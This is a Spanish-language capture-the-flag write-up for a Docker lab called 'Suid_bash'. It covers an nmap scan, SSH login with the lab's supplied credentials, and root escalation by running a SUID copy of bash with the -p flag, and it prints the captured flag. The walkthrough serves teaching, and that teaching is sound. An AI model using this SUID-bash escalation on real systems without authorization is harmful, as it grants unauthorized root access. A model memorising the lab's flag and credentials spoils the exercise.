1. Información General

Máquina: **Suid_bash**
Tipo: **Docker**
Dirección IP: **172.17.0.2**
Fecha: 02/04/2026.

Una vez iniciado el contenedor de la máquina **SuidX**, el script de despliegue nos proporcionó las credenciales de acceso inicial y el direccionamiento IP del objetivo (**172.17.0.2**). Con esta información, procedimos a realizar un escaneo de red para validar la disponibilidad de los servicios, centrando nuestra atención en el puerto **22 (SSH)**.

```
kali@kali: ~/maquinas_ctf/suid_bash
Session  Actions  Edit  View  Help
═══════════════════════════════════════════════════════════════════════════════

[√] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[√] Laboratorio iniciado correctamente.

═══════════════════════════════════════════════════════════════════════════════
[√] Laboratorio desplegado correctamente.
═══════════════════════════════════════════════════════════════════════════════
IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: b4sh123
Comando de conexión: ssh hacker@172.17.0.2
═══════════════════════════════════════════════════════════════════════════════

Objetivo: Explota bash con SUID para obtener root y leer /root/flag.txt
Tip: Lee LEEME.txt y ejecuta comparar.sh para entender el concepto

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

2. Enumeración de Servicios

Con la dirección IP del laboratorio confirmada, se procedió a realizar un escaneo exhaustivo de puertos utilizando la herramienta **Nmap**. El objetivo de esta fase fue identificar servicios activos y sus versiones para determinar los posibles vectores de ataque.

Comando ejecutado: nmap -sV -sC -p- 172.17.0.2

La identificación del puerto **22 abierto** coincide con la información de despliegue proporcionada inicialmente. Al no detectarse otros servicios web o bases de datos expuestas en este rango, se establece el servicio SSH como el **vector de entrada principal** para el usuario hacker.

```
┌──(kali㉿kali)-[~/maquinas_ctf/suid_bash]
└─$ nmap -sV -sC -p- 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-03 02:11 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 56:37:b3:e1:c5:94:41:72:b7:30:17:77:74:53:f7:37 (ECDSA)
|_  256 05:ed:55:2a:69:e9:ae:ed:03:82:e2:7b:67:ed:82:d1 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

┌──(kali㉿kali)-[~/maquinas_ctf/suid_bash]
└─$
```

Se realiza el ingreso a la maquina con las credenciales proporcionadas al inicio mediante **ssh hacker@172.17.0.2**

```
hacker@fd93fc6cdc14: ~
Session  Actions  Edit  View  Help

 ____  _   _ ___ ____        ____   _    ____  _   _
/ ___|| | | |_ _|  _ \      | __ )  / \  / ___|| | | |
\___ \| | | || || | | |_____|  _ \ / _ \ \___ \| |_| |
 ___) | |_| || || |_| |_____| |_) / ___ \ ___) |  _  |
|____/ \___/|___|____/      |____/_/   \_\____/|_| |_|

═══════════════════════════════════════════
Bienvenido al laboratorio SUID-BASH
Objetivo: Explota bash con SUID
Usuario: hacker | Password: b4sh123
═══════════════════════════════════════════

hacker@fd93fc6cdc14:~$
```

3. Acceso al Sistema

Una vez establecido el acceso al servidor, se procedió a realizar una exploración exhaustiva del sistema de archivos con el objetivo de identificar elementos adicionales que pudieran ser de utilidad para la investigación. Durante esta fase de reconocimiento interno, se localizaron recursos críticos que definen la ruta a seguir:

- Ya dentro del sistema como el usuario hacker, se identificaron dos archivos denominados LEEME.txt y comparar.sh.
- Al visualizar, desplegar y analizar el contenido, este hace referencia a que se debe encontrar bash con SUID en la ruta **/opt/**.

- Sugiere también que se debe de ejecutar **bash_suid** y **bash_suid -p** para notar la diferencia con en EUID.

Se procede a ingresar a la carpeta **/opt/**: **cd /opt** y se lista su contenido con **ls -al**

```
hacker@fd93fc6cdc14:~$ cd /opt
hacker@fd93fc6cdc14:/opt$ ls -al
total 1372
drwxr-xr-x 1 root root    4096 Dec 13 04:55 .
drwxr-xr-x 1 root root    4096 Apr  3 06:10 ..
-rwsr-xr-x 1 root root 1396520 Dec 13 04:55 bash_suid
hacker@fd93fc6cdc14:/opt$
```

4. Fase de Explotación

Se realizo una prueba comparativa para entender como el sistema gestiona los privilegios cuando se interactúa con un binario de Bash que tiene el SUID activo.

```
hacker@fd93fc6cdc14: /opt
Session  Actions  Edit  View  Help
hacker@fd93fc6cdc14:/opt$ whoami
hacker
hacker@fd93fc6cdc14:/opt$ /opt/bash_suid
bash_suid-5.1$ whoami
hacker
bash_suid-5.1$ cd /root
bash_suid: cd: /root: Permission denied
bash_suid-5.1$ ls -al
total 1372
drwxr-xr-x 1 root root    4096 Dec 13 04:55 .
drwxr-xr-x 1 root root    4096 Apr  3 06:10 ..
-rwsr-xr-x 1 root root 1396520 Dec 13 04:55 bash_suid
bash_suid-5.1$ exit
exit
hacker@fd93fc6cdc14:/opt$ /opt/bash_suid -p
bash_suid-5.1# whoami
root
```

- Al aplicar el comando: **/opt/bash_suid** BASH detecta que el UID del usuario: hacker no coincide con el EUID del usuario: root, por lo que suelta los privilegios por seguridad.

- Al aplicar el comando: **/opt/bash_suid -p** obliga a BASH a mantener el ID del propietario del archivo root permitiendo la escalada.

5. Captura de la Flag

Una vez que hemos realizado la escalada de privilegios a root procedemos a ingresar al directorio root con el comando: **cd /root** y listamos su contenido con el comando: **ls -al**

```
hacker@fd93fc6cdc14:/opt$ /opt/bash_suid -p
bash_suid-5.1# whoami
root
bash_suid-5.1# cd /root
bash_suid-5.1# ls -al
total 20
drwx------ 1 root root 4096 Dec 13 04:55 .
drwxr-xr-x 1 root root 4096 Apr  3 06:10 ..
-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw------- 1 root root   34 Dec 13 04:55 flag.txt
```

De esa forma encontramos la flag, para conocer el contenido utilizamos el comando: **cat flag.txt**

```
bash_suid-5.1# cat flag.txt
FLAG{B4SH_PR1V1L3G3D_M0D3_M4ST3R}
bash_suid-5.1#
```

6. Conclusiones

La resolución de esta tarea demuestra que la seguridad de un sistema Linux no depende únicamente de los permisos de los archivkalios, sino de la configuración de los binarios que los ejecutan.

- la diferencia crítica entre el **UID** (quién lanzó el proceso) y el **EUID** (qué permisos tiene el proceso en ejecución). El éxito de la explotación residió en manipular el **EUID** mediante el flag de persistencia.